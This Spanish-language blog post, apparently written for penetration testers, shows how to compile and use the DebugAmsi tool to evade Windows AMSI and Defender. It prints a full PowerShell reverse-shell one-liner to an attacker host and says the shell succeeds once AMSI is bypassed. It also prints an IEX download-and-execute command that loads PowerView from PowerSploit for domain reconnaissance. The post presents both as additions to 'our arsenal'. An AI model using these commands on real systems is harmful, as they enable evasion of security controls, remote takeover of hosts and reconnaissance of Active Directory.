Vuelve a la carga el investigador ruso Michael Zhmaylo (aka MzHmO), del que ya tuvimos la oportunidad de hablar por aquí, en este caso nos presenta una técnica bastante chula para evadir los controles del sistema de seguridad AMSI (AntiMalware Scan Interface) en plataformas Windows. El detalle técnico de este hallazgo también lo publicó en su repositorio de GitHub: DebugAmsi, su revisión es completamente recomendable:

Aquí básicamente nos centraremos en su aprovechamiento práctico para nuestra labores diarias.

El investigador, también ha tenido la gentileza de dejarnos el automatismo ya compilado en un fichero llamado DebugAmsix64.exe, pero si no te fías por lo que sea o simplemente prefieres descargarte el código fuente y generar la muestra por tus propios medios, puedes obtenerlo desde su repositorio de GitHub:

Optando por lo segundo (la compilación de nuestra parte), descargaremos el repositorio completo y nos apoyaremos en la utilidad «x64 Native Tools Command Prompt for VS» de Microsoft Visual Studio.

En este punto, debo agradecer públicamente a Alex Reid (aka Octoberfest7), quien me arrojó luz sobre el proceso de compilación para este tipo de automatismos. Aquí os dejo finalmente la ejecución que he concluido para este caso:

cl main.cpp /EHsc /DUNICODE /FeDebugAmsi.exe

Listo, con esto ya tendríamos la muestra lista para ser empleada.

La primera validación la realizaremos mediante un usuario local del sistema, en este caso uno con privilegios limitados (lowuser).

En el vídeo de la prueba de concepto (PoC) que nos presenta el investigador, a fin de demostrar la efectividad de esta técnica, levanta una terminal de PowerShell y escribe la cadena amsiutils, inmediatamente al presionar «enter», se dispara la siguiente alerta gracias a AMSI:

Esta acción también genera la siguiente alerta en el Windows Defender del sistema operativo:

Viendo en detalle la alerta generado observamos los siguientes datos:

La misma PoC muestra como mediante este automatismo llamado DebugAmsix64.exe, conseguiremos evadir estas restricciones vistas anteriormente:

Como se observa, ni la terminal de PowerShell desplegada, ni el propio Windows Defender se «avispan» de la inserción que anteriormente fue considerada maliciosa.

Pero fuera de la prueba de concepto (PoC), ¿Cómo podríamos emplear esta técnica? A continuación algunas validaciones prácticas:

Obtención de conexión reversa

Probaremos a establecer una conexión remota a través de la siguiente ejecución:

$client = New-Object System.Net.Sockets.TCPClient('10.10.5.4',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Esto tampoco le gustará al sistema y sus protecciones, aquí AMSI también se pronuncia e imposibilita la acción del potencial atacante.

En el Windows Defender podremos observar la generación de un par de alertas:

Son 2 alertas en este caso las que se levantan, una relativa al intento de conexión reversa y otra por condiciones que la protección AMSI no puede tolerar, como se observa a continuación:

Ejecutando nuevamente el automatismo DebugAmsix64.exe, en la consola de PowerShell que nos levanta, insertamos nuevamente el comando para establecer la conexión remota:

Observamos que en PowerShell no obtenemos ningún tipo de mensaje de alerta o advertencia, mientras que Windows Defender si tiene algo que contarnos:

Sin embargo la conexión reversa si se produce con el host del atacante y por tanto obtenemos acceso remoto con el equipo objetivo gracias a la evasión de AMSI que se ha conseguido mediante el automatismo DebugAmsix64.exe.

Ejecución de PowerView mediante usuario de dominio

Intentemos ir un poco más allá y probemos algún ejemplo de aprovechamiento que podemos obtener si nuestro escenario es un host que cuente con un usuario de dominio.

Primero intentemos llegar a la herramienta archiconocida PowerView mediante el repositorio de la colección de PowerSploit.

El propio SmartScreen de Microsoft Defender nos advertirá de la peligrosidad del recurso!

Pasando de la advertencia nos dirigimos a una terminal de PowerShell e intentamos obtener este elemento mediante el habitual siguiente comando:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

Los resultados son los esperados hasta aquí. Windows Defender genera una alerta como «troyano»:

No lo he indicado antes, pero el usuario de dominio con el que estamos intentando ejecutar esta acción cuenta con las siguientes características:

Apoyados nuevamente del automatismo DebugAmsix64.exe conseguiremos no solo implementar PowerView en este host, si no que es totalmente útil y operativo. A continuación algunas comprobaciones que se realizaron usando las bondades de PowerView:

Entonces por aquí tenemos otra herramienta para nuestro arsenal, espero que le encontréis más utilidad y lo aprovechéis. Seguiremos atentos a las novedades de este inquieto investigador!

Referencias